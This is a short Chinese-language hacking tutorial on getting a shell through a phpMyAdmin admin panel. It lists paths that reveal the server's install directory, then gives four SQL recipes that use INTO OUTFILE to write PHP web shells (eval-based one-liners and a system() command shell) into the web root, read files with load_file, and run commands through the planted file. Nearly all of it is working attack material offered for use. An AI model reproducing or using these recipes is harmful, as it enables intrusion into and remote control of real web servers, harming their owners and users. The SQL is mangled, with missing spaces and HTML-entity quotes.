phpmyadmin后台4种拿shell方法

phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
 
php后台拿shell要知道php的路径，文章下将讲诉爆php路径的方法！！！
方法一：CREATETABLE`mysql`.`xiaoma`(`xiaoma1`TEXTNOTNULL);INSERTINTO`mysql`.`xiaoma`(`xiaoma1`)VALUES(&lsquo;<?php@eval($_POST[xiaoma])?>&rsquo;);SELECTxiaomaFROMstudyINTOOUTFILE&lsquo;E:/wamp/www/7.php&rsquo;;&mdash;-以上同时执行，在数据库:mysql下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php一句话连接密码：xiaoma
方法二：CreateTABLExiaoma(xiaoma1textNOTNULL);InsertINTOxiaoma(xiaoma1)VALUES(&lsquo;<?phpeval($_POST[xiaoma])?>&rsquo;);selectxiaoma1fromxiaomaintooutfile&lsquo;E:/wamp/www/7.php&rsquo;;DropTABLEIFEXISTSxiaoma;
方法三：
读取文件内容：selectload_file(&lsquo;E:/xamp/www/s.php&rsquo;);
写一句话：select&lsquo;<?php@eval($_POST[cmd])?>&rsquo;INTOOUTFILE&lsquo;E:/xamp/www/xiaoma.php&rsquo;
cmd执行权限：select&lsquo;<?phpecho\&rsquo;<pre>\&rsquo;;system($_GET[\'cmd\']);echo\&rsquo;</pre>\&rsquo;;?>&rsquo;INTOOUTFILE&lsquo;E:/xamp/www/xiaoma.php&rsquo;
方法四：selectload_file(&lsquo;E:/xamp/www/xiaoma.php&rsquo;);
select&lsquo;<?phpecho\&rsquo;<pre>\&rsquo;;system($_GET[\'cmd\']);echo\&rsquo;</pre>\&rsquo;;?>&rsquo;INTOOUTFILE&lsquo;E:/xamp/www/xiaoma.php&rsquo;然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
*
*